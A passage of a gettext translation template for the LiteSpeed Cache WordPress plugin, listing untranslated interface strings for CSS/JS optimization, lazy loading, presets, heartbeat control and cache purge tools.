#: tpl/page_optm/settings_css.tpl.php:83 msgid "This will drop the unused CSS on each page from the combined file." msgstr "" #: tpl/page_optm/settings_css.tpl.php:85 msgid "Automatic generation of unique CSS is in the background via a cron-based queue." msgstr "" #: tpl/page_optm/settings_css.tpl.php:87 msgid "Filter %s available for UCSS per page type generation." msgstr "" #: tpl/page_optm/settings_css.tpl.php:93 msgid "This option is bypassed because %1$s option is %2$s." msgstr "" #: tpl/page_optm/settings_css.tpl.php:102 #: tpl/page_optm/settings_css.tpl.php:239 #: tpl/page_optm/settings_media.tpl.php:188 #: tpl/page_optm/settings_vpi.tpl.php:53 msgid "Last generated" msgstr "" #: tpl/page_optm/settings_css.tpl.php:105 #: tpl/page_optm/settings_css.tpl.php:242 msgid "Last requested cost" msgstr "" #: tpl/page_optm/settings_css.tpl.php:117 #: tpl/page_optm/settings_css.tpl.php:254 #: tpl/page_optm/settings_vpi.tpl.php:65 msgid "URL list in %s queue waiting for cron" msgstr "" #: tpl/page_optm/settings_css.tpl.php:118 #: tpl/page_optm/settings_css.tpl.php:255 #: tpl/page_optm/settings_media.tpl.php:201 #: tpl/page_optm/settings_vpi.tpl.php:66 msgid "Clear" msgstr "" #: tpl/page_optm/settings_css.tpl.php:155 #: tpl/page_optm/settings_css.tpl.php:160 #: tpl/page_optm/settings_css.tpl.php:292 #: tpl/page_optm/settings_css.tpl.php:297 #: tpl/page_optm/settings_vpi.tpl.php:100 #: tpl/page_optm/settings_vpi.tpl.php:105 msgid "Run %s Queue Manually" msgstr "" #: tpl/page_optm/settings_css.tpl.php:178 msgid "Inline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON." msgstr "" #: tpl/page_optm/settings_css.tpl.php:181 msgid "This option will automatically bypass %s option." msgstr "" #: tpl/page_optm/settings_css.tpl.php:195 msgid "Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine." msgstr "" #: tpl/page_optm/settings_css.tpl.php:215 msgid "Optimize CSS delivery." msgstr "" #: tpl/page_optm/settings_css.tpl.php:216 #: tpl/page_optm/settings_html.tpl.php:175 #: tpl/page_optm/settings_js.tpl.php:81 msgid "This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed." msgstr "" #: tpl/page_optm/settings_css.tpl.php:217 msgid "Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously." msgstr "" #: tpl/page_optm/settings_css.tpl.php:219 msgid "Automatic generation of critical CSS is in the background via a cron-based queue." msgstr "" #: tpl/page_optm/settings_css.tpl.php:220 msgid "When this option is turned %s, it will also load Google Fonts asynchronously." msgstr "" #: tpl/page_optm/settings_css.tpl.php:224 msgid "Elements with attribute %s in HTML code will be excluded." msgstr "" #: tpl/page_optm/settings_css.tpl.php:230 msgid "This option is bypassed due to %s option." msgstr "" #: tpl/page_optm/settings_css.tpl.php:314 msgid "Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder." msgstr "" #: tpl/page_optm/settings_css.tpl.php:327 msgid "This will inline the asynchronous CSS library to avoid render blocking." msgstr "" #: tpl/page_optm/settings_css.tpl.php:338 msgid "Default" msgstr "" #: tpl/page_optm/settings_css.tpl.php:340 msgid "Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded." msgstr "" #: tpl/page_optm/settings_css.tpl.php:341 msgid "%s is recommended." msgstr "" #: tpl/page_optm/settings_css.tpl.php:341 msgid "Swap" msgstr "" #: tpl/page_optm/settings_html.tpl.php:31 msgid "Minify HTML content." msgstr "" #: tpl/page_optm/settings_html.tpl.php:44 msgid "Prefetching DNS can reduce latency for visitors." msgstr "" #: tpl/page_optm/settings_html.tpl.php:45 #: tpl/page_optm/settings_html.tpl.php:76 msgid "For example" msgstr "" #: tpl/page_optm/settings_html.tpl.php:60 msgid "Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth." msgstr "" #: tpl/page_optm/settings_html.tpl.php:61 msgid "This can improve the page loading speed." msgstr "" #: tpl/page_optm/settings_html.tpl.php:75 msgid "Preconnecting speeds up future loads from a given origin." msgstr "" #: tpl/page_optm/settings_html.tpl.php:91 msgid "Delay rendering off-screen HTML elements by its selector." msgstr "" #: tpl/page_optm/settings_html.tpl.php:106 msgid "When minifying HTML do not discard comments that match a specified pattern." msgstr "" #: tpl/page_optm/settings_html.tpl.php:108 msgid "If comment to be kept is like: %1$s write: %2$s" msgstr "" #: tpl/page_optm/settings_html.tpl.php:123 msgid "Remove query strings from internal static resources." msgstr "" #: tpl/page_optm/settings_html.tpl.php:127 msgid "Google reCAPTCHA will be bypassed automatically." msgstr "" #: tpl/page_optm/settings_html.tpl.php:132 msgid "Append query string %s to the resources to bypass this action." msgstr "" #: tpl/page_optm/settings_html.tpl.php:146 msgid "Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact." msgstr "" #: tpl/page_optm/settings_html.tpl.php:147 msgid "This will also add a preconnect to Google Fonts to establish a connection earlier." msgstr "" #: tpl/page_optm/settings_html.tpl.php:161 msgid "Prevent Google Fonts from loading on all pages." msgstr "" #: tpl/page_optm/settings_html.tpl.php:174 msgid "Stop loading WordPress.org emoji. Browser default emoji will be displayed instead." msgstr "" #: tpl/page_optm/settings_html.tpl.php:188 msgid "This option will remove all %s tags from HTML." msgstr "" #: tpl/page_optm/settings_js.tpl.php:33 msgid "Minify JS files and inline JS codes." msgstr "" #: tpl/page_optm/settings_js.tpl.php:47 msgid "Combine all local JS files into a single file." msgstr "" #: tpl/page_optm/settings_js.tpl.php:51 #: tpl/page_optm/settings_js.tpl.php:85 msgid "This option may result in a JS error or layout issue on frontend pages with certain themes/plugins." msgstr "" #: tpl/page_optm/settings_js.tpl.php:52 msgid "JS error can be found from the developer console of browser by right clicking and choosing Inspect." msgstr "" #: tpl/page_optm/settings_js.tpl.php:66 msgid "Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine." msgstr "" #: tpl/page_optm/settings_js.tpl.php:77 msgid "Deferred" msgstr "" #: tpl/page_optm/settings_js.tpl.php:77 msgid "Delayed" msgstr "" #: tpl/page_optm/settings_js.tpl.php:79 msgid "Deferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric)." msgstr "" #: tpl/page_optm/settings_localization.tpl.php:26 msgid "Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup." msgstr "" #: tpl/page_optm/settings_localization.tpl.php:36 msgid "Localization Settings" msgstr "" #: tpl/page_optm/settings_localization.tpl.php:49 msgid "Store Gravatar locally." msgstr "" #: tpl/page_optm/settings_localization.tpl.php:50 msgid "Accelerates the speed by caching Gravatar (Globally Recognized Avatars)." msgstr "" #: tpl/page_optm/settings_localization.tpl.php:63 msgid "Refresh Gravatar cache by cron." msgstr "" #: tpl/page_optm/settings_localization.tpl.php:76 msgid "Avatar list in queue waiting for update" msgstr "" #: tpl/page_optm/settings_localization.tpl.php:81 #: tpl/page_optm/settings_media.tpl.php:218 msgid "Run Queue Manually" msgstr "" #: tpl/page_optm/settings_localization.tpl.php:98 msgid "Specify how long, in seconds, Gravatar files are cached." msgstr "" #: tpl/page_optm/settings_localization.tpl.php:113 msgid "Localize external resources." msgstr "" #: tpl/page_optm/settings_localization.tpl.php:117 msgid "Please thoroughly test all items in %s to ensure they function as expected." msgstr "" #: tpl/page_optm/settings_localization.tpl.php:139 msgid "Resources listed here will be copied and replaced with local URLs." msgstr "" #: tpl/page_optm/settings_localization.tpl.php:140 msgid "HTTPS sources only." msgstr "" #: tpl/page_optm/settings_localization.tpl.php:144 msgid "Comments are supported. Start a line with a %s to turn it into a comment line." msgstr "" #: tpl/page_optm/settings_localization.tpl.php:146 #: tpl/toolbox/beta_test.tpl.php:51 msgid "Example" msgstr "" #: tpl/page_optm/settings_localization.tpl.php:150 msgid "Please thoroughly test each JS file you add to ensure it functions as expected." msgstr "" #: tpl/page_optm/settings_media.tpl.php:40 msgid "Load images only when they enter the viewport." msgstr "" #: tpl/page_optm/settings_media.tpl.php:41 #: tpl/page_optm/settings_media.tpl.php:235 msgid "This can improve page loading time by reducing initial HTTP requests." msgstr "" #: tpl/page_optm/settings_media.tpl.php:45 msgid "Adding Style to Your Lazy-Loaded Images" msgstr "" #: tpl/page_optm/settings_media.tpl.php:59 msgid "Specify a base64 image to be used as a simple placeholder while images finish loading." msgstr "" #: tpl/page_optm/settings_media.tpl.php:60 msgid "This can be predefined in %2$s as well using constant %1$s, with this setting taking priority." msgstr "" #: tpl/page_optm/settings_media.tpl.php:61 msgid "By default a gray image placeholder %s will be used." msgstr "" #: tpl/page_optm/settings_media.tpl.php:62 msgid "For example, %s can be used for a transparent placeholder." msgstr "" #: tpl/page_optm/settings_media.tpl.php:76 msgid "Responsive image placeholders can help to reduce layout reshuffle when images are loaded." msgstr "" #: tpl/page_optm/settings_media.tpl.php:77 msgid "This will generate the placeholder with same dimensions as the image if it has the width and height attributes." msgstr "" #: tpl/page_optm/settings_media.tpl.php:90 msgid "Specify an SVG to be used as a placeholder when generating locally." msgstr "" #: tpl/page_optm/settings_media.tpl.php:91 msgid "It will be converted to a base64 SVG placeholder on-the-fly." msgstr "" #: tpl/page_optm/settings_media.tpl.php:92 msgid "Variables %s will be replaced with the corresponding image properties." msgstr "" #: tpl/page_optm/settings_media.tpl.php:93 msgid "Variables %s will be replaced with the configured background color." msgstr "" #: tpl/page_optm/settings_media.tpl.php:107 msgid "Specify the responsive placeholder SVG color." msgstr "" #: tpl/page_optm/settings_media.tpl.php:122 msgid "Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading." msgstr "" #: tpl/page_optm/settings_media.tpl.php:123 msgid "Keep this off to use plain color placeholders." msgstr "" #: tpl/page_optm/settings_media.tpl.php:137 msgid "Specify the quality when generating LQIP." msgstr "" #: tpl/page_optm/settings_media.tpl.php:138 msgid "Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points." msgstr "" #: tpl/page_optm/settings_media.tpl.php:141 msgid "Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu." msgstr "" #: tpl/page_optm/settings_media.tpl.php:154 msgid "pixels" msgstr "" #: tpl/page_optm/settings_media.tpl.php:156 msgid "LQIP requests will not be sent for images where both width and height are smaller than these dimensions." msgstr "" #: tpl/page_optm/settings_media.tpl.php:172 msgid "Automatically generate LQIP in the background via a cron-based queue." msgstr "" #: tpl/page_optm/settings_media.tpl.php:175 msgid "If set to %1$s, before the placeholder is localized, the %2$s configuration will be used." msgstr "" #: tpl/page_optm/settings_media.tpl.php:180 msgid "If set to %s this is done in the foreground, which may slow down page load." msgstr "" #: tpl/page_optm/settings_media.tpl.php:200 msgid "Size list in queue waiting for cron" msgstr "" #: tpl/page_optm/settings_media.tpl.php:234 msgid "Load iframes only when they enter the viewport." msgstr "" #: tpl/page_optm/settings_media.tpl.php:248 msgid "Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric)." msgstr "" #: tpl/page_optm/settings_media.tpl.php:259 msgid "Use %1$s to bypass remote image dimension check when %2$s is ON." msgstr "" #: tpl/page_optm/settings_media.tpl.php:274 msgid "The image compression quality setting of WordPress out of 100." msgstr "" #: tpl/page_optm/settings_media.tpl.php:289 msgid "Automatically replace large images with scaled versions." msgstr "" #: tpl/page_optm/settings_media.tpl.php:290 msgid "Scaled size threshold" msgstr "" #: tpl/page_optm/settings_media.tpl.php:296 msgid "Filter %s available to change threshold." msgstr "" #: tpl/page_optm/settings_media_exc.tpl.php:31 msgid "Listed images will not be lazy loaded." msgstr "" #: tpl/page_optm/settings_media_exc.tpl.php:34 msgid "Useful for above-the-fold images causing CLS (a Core Web Vitals metric)." msgstr "" #: tpl/page_optm/settings_media_exc.tpl.php:38 #: tpl/page_optm/settings_tuning.tpl.php:70 #: tpl/page_optm/settings_tuning.tpl.php:91 #: tpl/page_optm/settings_tuning.tpl.php:112 #: tpl/page_optm/settings_tuning_css.tpl.php:37 msgid "Elements with attribute %s in html code will be excluded." msgstr "" #: tpl/page_optm/settings_media_exc.tpl.php:60 msgid "Images containing these class names will not be lazy loaded." msgstr "" #: tpl/page_optm/settings_media_exc.tpl.php:75 msgid "Images having these parent class names will not be lazy loaded." msgstr "" #: tpl/page_optm/settings_media_exc.tpl.php:89 msgid "Iframes containing these class names will not be lazy loaded." msgstr "" #: tpl/page_optm/settings_media_exc.tpl.php:104 msgid "Iframes having these parent class names will not be lazy loaded." msgstr "" #: tpl/page_optm/settings_media_exc.tpl.php:118 msgid "Prevent any lazy load of listed pages." msgstr "" #: tpl/page_optm/settings_media_exc.tpl.php:132 msgid "These images will not generate LQIP." msgstr "" #: tpl/page_optm/settings_tuning.tpl.php:29 msgid "Tuning Settings" msgstr "" #: tpl/page_optm/settings_tuning.tpl.php:43 msgid "Listed JS files or inline JS code will be delayed." msgstr "" #: tpl/page_optm/settings_tuning.tpl.php:63 msgid "Listed JS files or inline JS code will not be minified or combined." msgstr "" #: tpl/page_optm/settings_tuning.tpl.php:71 #: tpl/page_optm/settings_tuning.tpl.php:92 msgid "Predefined list will also be combined with the above settings." msgstr "" #: tpl/page_optm/settings_tuning.tpl.php:85 msgid "Listed JS files or inline JS code will not be deferred or delayed." msgstr "" #: tpl/page_optm/settings_tuning.tpl.php:106 msgid "Listed JS files or inline JS code will not be optimized by %s." msgstr "" #: tpl/page_optm/settings_tuning.tpl.php:126 msgid "Prevent any optimization of listed pages." msgstr "" #: tpl/page_optm/settings_tuning.tpl.php:144 msgid "Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group." msgstr "" #: tpl/page_optm/settings_tuning.tpl.php:156 msgid "Selected roles will be excluded from all optimizations." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:17 msgid "Tuning CSS Settings" msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:31 msgid "Listed CSS files or inline CSS code will not be minified or combined." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:38 msgid "Predefined list will also be combined with the above settings" msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:52 msgid "Listed CSS files will be excluded from UCSS and saved to inline." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:67 msgid "List the CSS selectors whose styles should always be included in UCSS." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:70 #: tpl/page_optm/settings_tuning_css.tpl.php:145 msgid "Wildcard %s supported." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:74 msgid "The selector must exist in the CSS. Parent classes in the HTML will not work." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:92 msgid "Listed URI will not generate UCSS." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:99 msgid "Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:100 msgid "Use %1$s to bypass UCSS for the pages which page type is %2$s." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:113 msgid "List post types where each item of that type should have its own CCSS generated." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:114 msgid "For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:128 msgid "Separate critical CSS files will be generated for paths containing these strings." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:142 msgid "List the CSS selectors whose styles should always be included in CCSS." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:149 msgid "Selectors must exist in the CSS. Parent classes in the HTML will not work." msgstr "" #: tpl/page_optm/settings_tuning_css.tpl.php:167 msgid "Specify critical CSS rules for above-the-fold content when enabling %s." msgstr "" #: tpl/page_optm/settings_vpi.tpl.php:37 msgid "When you use Lazy Load, it will delay the loading of all images on a page." msgstr "" #: tpl/page_optm/settings_vpi.tpl.php:38 msgid "The Viewport Images service detects which images appear above the fold, and excludes them from lazy load." msgstr "" #: tpl/page_optm/settings_vpi.tpl.php:39 msgid "This enables the page's initial screenful of imagery to be fully displayed without delay." msgstr "" #: tpl/page_optm/settings_vpi.tpl.php:122 msgid "Enable Viewport Images auto generation cron." msgstr "" #: tpl/presets/entry.tpl.php:16 msgid "Standard Presets" msgstr "" #: tpl/presets/entry.tpl.php:17 #: tpl/toolbox/entry.tpl.php:20 msgid "Import / Export" msgstr "" #: tpl/presets/entry.tpl.php:23 msgid "LiteSpeed Cache Configuration Presets" msgstr "" #: tpl/presets/standard.tpl.php:17 msgid "Essentials" msgstr "" #: tpl/presets/standard.tpl.php:19 msgid "Default Cache" msgstr "" #: tpl/presets/standard.tpl.php:20 msgid "Higher TTL" msgstr "" #: tpl/presets/standard.tpl.php:24 msgid "This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development." msgstr "" #: tpl/presets/standard.tpl.php:25 msgid "A QUIC.cloud connection is not required to use this preset. Only basic caching features are enabled." msgstr "" #: tpl/presets/standard.tpl.php:29 #: tpl/toolbox/settings-debug.tpl.php:117 msgid "Basic" msgstr "" #: tpl/presets/standard.tpl.php:31 msgid "Everything in Essentials, Plus" msgstr "" #: tpl/presets/standard.tpl.php:33 msgid "Mobile Cache" msgstr "" #: tpl/presets/standard.tpl.php:36 msgid "This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners." msgstr "" #: tpl/presets/standard.tpl.php:37 msgid "A QUIC.cloud connection is required to use this preset. Includes optimizations known to improve site score in page speed measurement tools." msgstr "" #: tpl/presets/standard.tpl.php:41 msgid "Advanced (Recommended)" msgstr "" #: tpl/presets/standard.tpl.php:43 msgid "Everything in Basic, Plus" msgstr "" #: tpl/presets/standard.tpl.php:44 msgid "Guest Mode and Guest Optimization" msgstr "" #: tpl/presets/standard.tpl.php:45 msgid "CSS, JS and HTML Minification" msgstr "" #: tpl/presets/standard.tpl.php:47 msgid "JS Defer for both external and inline JS" msgstr "" #: tpl/presets/standard.tpl.php:48 msgid "DNS Prefetch for static files" msgstr "" #: tpl/presets/standard.tpl.php:50 msgid "Remove Query Strings from Static Files" msgstr "" #: tpl/presets/standard.tpl.php:55 msgid "This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools." msgstr "" #: tpl/presets/standard.tpl.php:56 #: tpl/presets/standard.tpl.php:70 msgid "A QUIC.cloud connection is required to use this preset. Includes many optimizations known to improve page speed scores." msgstr "" #: tpl/presets/standard.tpl.php:60 msgid "Aggressive" msgstr "" #: tpl/presets/standard.tpl.php:62 msgid "Everything in Advanced, Plus" msgstr "" #: tpl/presets/standard.tpl.php:63 msgid "CSS & JS Combine" msgstr "" #: tpl/presets/standard.tpl.php:64 msgid "Asynchronous CSS Loading with Critical CSS" msgstr "" #: tpl/presets/standard.tpl.php:65 msgid "Removed Unused CSS for Users" msgstr "" #: tpl/presets/standard.tpl.php:66 msgid "Lazy Load for Iframes" msgstr "" #: tpl/presets/standard.tpl.php:69 msgid "This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning." msgstr "" #: tpl/presets/standard.tpl.php:74 msgid "Extreme" msgstr "" #: tpl/presets/standard.tpl.php:76 msgid "Everything in Aggressive, Plus" msgstr "" #: tpl/presets/standard.tpl.php:77 msgid "Lazy Load for Images" msgstr "" #: tpl/presets/standard.tpl.php:78 msgid "Viewport Image Generation" msgstr "" #: tpl/presets/standard.tpl.php:79 msgid "JS Delayed" msgstr "" #: tpl/presets/standard.tpl.php:80 msgid "Inline JS added to Combine" msgstr "" #: tpl/presets/standard.tpl.php:81 msgid "Inline CSS added to Combine" msgstr "" #: tpl/presets/standard.tpl.php:84 msgid "This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images." msgstr "" #: tpl/presets/standard.tpl.php:85 msgid "A QUIC.cloud connection is required to use this preset. Enables the maximum level of optimizations for improved page speed scores." msgstr "" #: tpl/presets/standard.tpl.php:92 msgid "LiteSpeed Cache Standard Presets" msgstr "" #: tpl/presets/standard.tpl.php:96 msgid "Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between." msgstr "" #: tpl/presets/standard.tpl.php:121 msgid "Who should use this preset?" msgstr "" #: tpl/presets/standard.tpl.php:131 msgid "This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?" msgstr "" #: tpl/presets/standard.tpl.php:133 msgid "Apply Preset" msgstr "" #: tpl/presets/standard.tpl.php:152 msgid "unknown" msgstr "" #: tpl/presets/standard.tpl.php:163 msgid "History" msgstr "" #: tpl/presets/standard.tpl.php:173 msgid "Error: Failed to apply the settings %1$s" msgstr "" #: tpl/presets/standard.tpl.php:175 msgid "Restored backup settings %1$s" msgstr "" #: tpl/presets/standard.tpl.php:178 msgid "Applied the %1$s preset %2$s" msgstr "" #: tpl/presets/standard.tpl.php:189 msgid "Backup created %1$s before applying the %2$s preset" msgstr "" #: tpl/presets/standard.tpl.php:193 msgid "This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?" msgstr "" #: tpl/presets/standard.tpl.php:195 msgid "Restore Settings" msgstr "" #: tpl/toolbox/beta_test.tpl.php:36 msgid "Try GitHub Version" msgstr "" #: tpl/toolbox/beta_test.tpl.php:43 msgid "LiteSpeed Cache is disabled. This functionality will not work." msgstr "" #: tpl/toolbox/beta_test.tpl.php:48 msgid "Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below." msgstr "" #: tpl/toolbox/beta_test.tpl.php:57 msgid "Use latest GitHub Dev commit" msgstr "" #: tpl/toolbox/beta_test.tpl.php:61 msgid "Use latest GitHub Master commit" msgstr "" #: tpl/toolbox/beta_test.tpl.php:65 #: tpl/toolbox/beta_test.tpl.php:81 msgid "Use latest WordPress release version" msgstr "" #: tpl/toolbox/beta_test.tpl.php:65 msgid "OR" msgstr "" #: tpl/toolbox/beta_test.tpl.php:73 msgid "Downgrade not recommended. May cause fatal error due to refactored code." msgstr "" #: tpl/toolbox/beta_test.tpl.php:78 msgid "Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing." msgstr "" #: tpl/toolbox/beta_test.tpl.php:78 msgid "Use latest GitHub Dev/Master commit" msgstr "" #: tpl/toolbox/beta_test.tpl.php:81 msgid "Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory." msgstr "" #: tpl/toolbox/beta_test.tpl.php:85 msgid "In order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions." msgstr "" #: tpl/toolbox/edit_htaccess.tpl.php:41 msgid "LiteSpeed Cache View .htaccess" msgstr "" #: tpl/toolbox/edit_htaccess.tpl.php:46 msgid ".htaccess Path" msgstr "" #: tpl/toolbox/edit_htaccess.tpl.php:53 msgid "Frontend .htaccess Path" msgstr "" #: tpl/toolbox/edit_htaccess.tpl.php:58 #: tpl/toolbox/edit_htaccess.tpl.php:76 msgid "Default path is" msgstr "" #: tpl/toolbox/edit_htaccess.tpl.php:62 #: tpl/toolbox/edit_htaccess.tpl.php:80 msgid "PHP Constant %s is supported." msgstr "" #: tpl/toolbox/edit_htaccess.tpl.php:63 #: tpl/toolbox/edit_htaccess.tpl.php:81 msgid "You can use this code %1$s in %2$s to specify the htaccess file path." msgstr "" #: tpl/toolbox/edit_htaccess.tpl.php:71 msgid "Backend .htaccess Path" msgstr "" #: tpl/toolbox/edit_htaccess.tpl.php:91 msgid "Current %s Contents" msgstr "" #: tpl/toolbox/entry.tpl.php:24 msgid "View .htaccess" msgstr "" #: tpl/toolbox/entry.tpl.php:28 msgid "Heartbeat" msgstr "" #: tpl/toolbox/entry.tpl.php:29 msgid "Report" msgstr "" #: tpl/toolbox/entry.tpl.php:33 #: tpl/toolbox/settings-debug.tpl.php:55 msgid "Debug Settings" msgstr "" #: tpl/toolbox/entry.tpl.php:34 msgid "Log View" msgstr "" #: tpl/toolbox/entry.tpl.php:35 msgid "Beta Test" msgstr "" #: tpl/toolbox/entry.tpl.php:41 msgid "LiteSpeed Cache Toolbox" msgstr "" #: tpl/toolbox/heartbeat.tpl.php:19 msgid "Heartbeat Control" msgstr "" #: tpl/toolbox/heartbeat.tpl.php:26 msgid "Disable WordPress interval heartbeat to reduce server load." msgstr "" #: tpl/toolbox/heartbeat.tpl.php:28 msgid "Disabling this may cause WordPress tasks triggered by AJAX to stop working." msgstr "" #: tpl/toolbox/heartbeat.tpl.php:43 msgid "Turn ON to control heartbeat on frontend." msgstr "" #: tpl/toolbox/heartbeat.tpl.php:56 #: tpl/toolbox/heartbeat.tpl.php:86 #: tpl/toolbox/heartbeat.tpl.php:116 msgid "Specify the %s heartbeat interval in seconds." msgstr "" #: tpl/toolbox/heartbeat.tpl.php:57 #: tpl/toolbox/heartbeat.tpl.php:87 #: tpl/toolbox/heartbeat.tpl.php:117 msgid "WordPress valid interval is %s seconds." msgstr "" #: tpl/toolbox/heartbeat.tpl.php:58 #: tpl/toolbox/heartbeat.tpl.php:88 #: tpl/toolbox/heartbeat.tpl.php:118 msgid "Set to %1$s to forbid heartbeat on %2$s." msgstr "" #: tpl/toolbox/heartbeat.tpl.php:73 msgid "Turn ON to control heartbeat on backend." msgstr "" #: tpl/toolbox/heartbeat.tpl.php:103 msgid "Turn ON to control heartbeat in backend editor." msgstr "" #: tpl/toolbox/import_export.tpl.php:19 msgid "Export Settings" msgstr "" #: tpl/toolbox/import_export.tpl.php:25 msgid "Export" msgstr "" #: tpl/toolbox/import_export.tpl.php:31 msgid "Last exported" msgstr "" #: tpl/toolbox/import_export.tpl.php:36 msgid "This will export all current LiteSpeed Cache settings and save them as a file." msgstr "" #: tpl/toolbox/import_export.tpl.php:40 msgid "Import Settings" msgstr "" #: tpl/toolbox/import_export.tpl.php:48 msgid "Import" msgstr "" #: tpl/toolbox/import_export.tpl.php:54 msgid "Last imported" msgstr "" #: tpl/toolbox/import_export.tpl.php:59 msgid "This will import settings from a file and override all current LiteSpeed Cache settings." msgstr "" #: tpl/toolbox/import_export.tpl.php:63 msgid "Reset All Settings" msgstr "" #: tpl/toolbox/import_export.tpl.php:67 msgid "This will reset all settings to default settings." msgstr "" #: tpl/toolbox/import_export.tpl.php:70 msgid "Are you sure you want to reset all settings back to the default settings?" msgstr "" #: tpl/toolbox/import_export.tpl.php:71 msgid "Reset Settings" msgstr "" #: tpl/toolbox/log_viewer.tpl.php:23 msgid "Purge Log" msgstr "" #: tpl/toolbox/log_viewer.tpl.php:28 msgid "Crawler Log" msgstr "" #: tpl/toolbox/log_viewer.tpl.php:35 msgid "LiteSpeed Logs" msgstr "" #: tpl/toolbox/log_viewer.tpl.php:46 #: tpl/toolbox/log_viewer.tpl.php:75 msgid "Clear Logs" msgstr "" #: tpl/toolbox/log_viewer.tpl.php:64 #: tpl/toolbox/report.tpl.php:62 msgid "Click to copy" msgstr "" #: tpl/toolbox/log_viewer.tpl.php:65 msgid "Copy Log" msgstr "" #: tpl/toolbox/purge.tpl.php:17 msgid "Purge Front Page" msgstr "" #: tpl/toolbox/purge.tpl.php:18 msgid "This will Purge Front Page only" msgstr "" #: tpl/toolbox/purge.tpl.php:23 msgid "Purge Pages" msgstr "" #: tpl/toolbox/purge.tpl.php:24 msgid "This will Purge Pages only" msgstr "" #: tpl/toolbox/purge.tpl.php:32 msgid "Purge %s Error" msgstr "" #: tpl/toolbox/purge.tpl.php:33 msgid "Purge %s error pages" msgstr "" #: tpl/toolbox/purge.tpl.php:41 msgid "Purge the LiteSpeed cache entries created by this plugin" msgstr "" #: tpl/toolbox/purge.tpl.php:48 msgid "This will purge all minified/combined CSS/JS entries only" msgstr "" #: tpl/toolbox/purge.tpl.php:56 msgid "Purge all the object caches" msgstr "" #: tpl/toolbox/purge.tpl.php:65 msgid "Reset the entire opcode cache" msgstr "" #: tpl/toolbox/purge.tpl.php:74 msgid "This will delete all generated critical CSS files" msgstr "" #: tpl/toolbox/purge.tpl.php:83 msgid "This will delete all generated unique CSS files" msgstr "" #: tpl/toolbox/purge.tpl.php:92 msgid "This will delete all localized resources" msgstr "" #: tpl/toolbox/purge.tpl.php:101 msgid "This will delete all generated image LQIP placeholder files" msgstr "" #: tpl/toolbox/purge.tpl.php:110 msgid "This will delete all generated Viewport Images" msgstr "" #: tpl/toolbox/purge.tpl.php:119 msgid "This will delete all cached Gravatar files" msgstr "" #: tpl/toolbox/purge.tpl.php:127 msgid "Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches" msgstr "" #: tpl/toolbox/purge.tpl.php:136 msgid "Empty Entire Cache" msgstr "" #: tpl/toolbox/purge.tpl.php:137 msgid "Clears all cache entries related to this site, including other web applications." msgstr "" #: tpl/toolbox/purge.tpl.php:137 msgid "This action should only be used if things are cached incorrectly." msgstr "" #: tpl/toolbox/purge.tpl.php:141 msgid "This will clear EVERYTHING inside the cache." msgstr "" #: tpl/toolbox/purge.tpl.php:141 msgid "This may cause heavy load on the server." msgstr "" #: tpl/toolbox/purge.tpl.php:141 msgid "If only the WordPress site should be purged, use Purge All." msgstr "" #: tpl/toolbox/purge.tpl.php:185 msgid "Purge By..." msgstr "" #: tpl/toolbox/purge.tpl.php:188 msgid "Select below for \"Purge by\" options." msgstr "" #: tpl/toolbox/purge.tpl.php:197 msgid "Category" msgstr "" #: tpl/toolbox/purge.tpl.php:201 msgid "Post ID" msgstr "" #: tpl/toolbox/purge.tpl.php:205 msgid "Tag" msgstr 